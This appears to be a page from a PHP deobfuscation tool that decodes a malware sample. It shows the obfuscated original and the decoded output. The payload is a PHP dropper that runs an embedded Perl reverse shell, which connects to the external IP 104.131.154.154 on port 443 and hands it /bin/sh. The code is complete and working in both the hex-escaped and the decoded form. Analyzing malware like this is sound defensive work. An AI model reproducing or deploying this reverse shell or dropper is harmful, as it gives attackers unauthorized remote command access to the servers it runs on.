Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"\x47\x4cO\x42\x41\x4cS"}["ki\x72\x69\x68\x71\x68"]="st\x72";${${"GLOBA\x4c\x53"}["k\x69..

Decoded Output download

<?  ${"GLOBALS"}["kirihqh"]="str";${${"GLOBALS"}["kirihqh"]}="use Socket;
print "started";
$host = "104.131.154.154";
$port = 443;
$proto = getprotobyname("tcp") || exit();
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || exit();
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  print "not connected";
  exit();
}
if (!fork( )) {
  print "child";
  open(STDIN,">&SERVER");
  open(STDOUT,">&SERVER");
  open(STDERR,">&SERVER");
  print("exec");
  exec {"/bin/sh"} "-bash" . "\0" x 4;
  print("exit");
  exit(0);
}";@exec("perl -e '$str' > /dev/null 2>/dev/null"); ?>

Did this file decode correctly?

Original Code

${"\x47\x4cO\x42\x41\x4cS"}["ki\x72\x69\x68\x71\x68"]="st\x72";${${"GLOBA\x4c\x53"}["k\x69ri\x68\x71\x68"]}="\x75\x73\x65\x20\x53\x6f\x63\x6b\x65\x74\x3b\x0a\x70\x72\x69\x6e\x74\x20\x22\x73\x74\x61\x72\x74\x65\x64\x22\x3b\x0a\x24\x68\x6f\x73\x74\x20\x3d\x20\x22\x31\x30\x34\x2e\x31\x33\x31\x2e\x31\x35\x34\x2e\x31\x35\x34\x22\x3b\x0a\x24\x70\x6f\x72\x74\x20\x3d\x20\x34\x34\x33\x3b\x0a\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x20\x7c\x7c\x20\x65\x78\x69\x74\x28\x29\x3b\x0a\x73\x6f\x63\x6b\x65\x74\x28\x53\x45\x52\x56\x45\x52\x2c\x20\x50\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x20\x7c\x7c\x20\x65\x78\x69\x74\x28\x29\x3b\x0a\x6d\x79\x20\x24\x74\x61\x72\x67\x65\x74\x20\x3d\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f\x6e\x28\x24\x68\x6f\x73\x74\x29\x3b\x0a\x69\x66\x20\x28\x21\x63\x6f\x6e\x6e\x65\x63\x74\x28\x53\x45\x52\x56\x45\x52\x2c\x20\x70\x61\x63\x6b\x20\x22\x53\x6e\x41\x34\x78\x38\x22\x2c\x20\x32\x2c\x20\x24\x70\x6f\x72\x74\x2c\x20\x24\x74\x61\x72\x67\x65\x74\x29\x29\x20\x7b\x0a\x20\x20\x70\x72\x69\x6e\x74\x20\x22\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x65\x64\x22\x3b\x0a\x20\x20\x65\x78\x69\x74\x28\x29\x3b\x0a\x7d\x0a\x69\x66\x20\x28\x21\x66\x6f\x72\x6b\x28\x20\x29\x29\x20\x7b\x0a\x20\x20\x70\x72\x69\x6e\x74\x20\x22\x63\x68\x69\x6c\x64\x22\x3b\x0a\x20\x20\x6f\x70\x65\x6e\x28\x53\x54\x44\x49\x4e\x2c\x22\x3e\x26\x53\x45\x52\x56\x45\x52\x22\x29\x3b\x0a\x20\x20\x6f\x70\x65\x6e\x28\x53\x54\x44\x4f\x55\x54\x2c\x22\x3e\x26\x53\x45\x52\x56\x45\x52\x22\x29\x3b\x0a\x20\x20\x6f\x70\x65\x6e\x28\x53\x54\x44\x45\x52\x52\x2c\x22\x3e\x26\x53\x45\x52\x56\x45\x52\x22\x29\x3b\x0a\x20\x20\x70\x72\x69\x6e\x74\x28\x22\x65\x78\x65\x63\x22\x29\x3b\x0a\x20\x20\x65\x78\x65\x63\x20\x7b\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x7d\x20\x22\x2d\x62\x61\x73\x68\x22\x20\x2e\x20\x22\\0\x22\x20\x78\x20\x34\x3b\x0a\x20\x20\x70\x72\x69\x6e\x74\x28\x22\x65\x78\x69\x74\x22\x29\x3b\x0a\x20\x20\x65\x78\x69\x74\x28\x30\x29\x3b\x0a\x7d";@exec("p\x65\x72\x6c -e \x27$str\x27 \x3e /dev/n\x75ll\x202\x3e/de\x76/\x6e\x75\x6c\x6c");

Function Calls

exec 1

Variables

str use Socket; print "started"; $host = "104.131.154.154"; $por..
GLOBALS [{'key': 'kirihqh', 'value': 'str'}]

Stats

MD5 4e5ae1fe4293de32f2049f968c52fa04
Eval Count 0
Decode Time 104 ms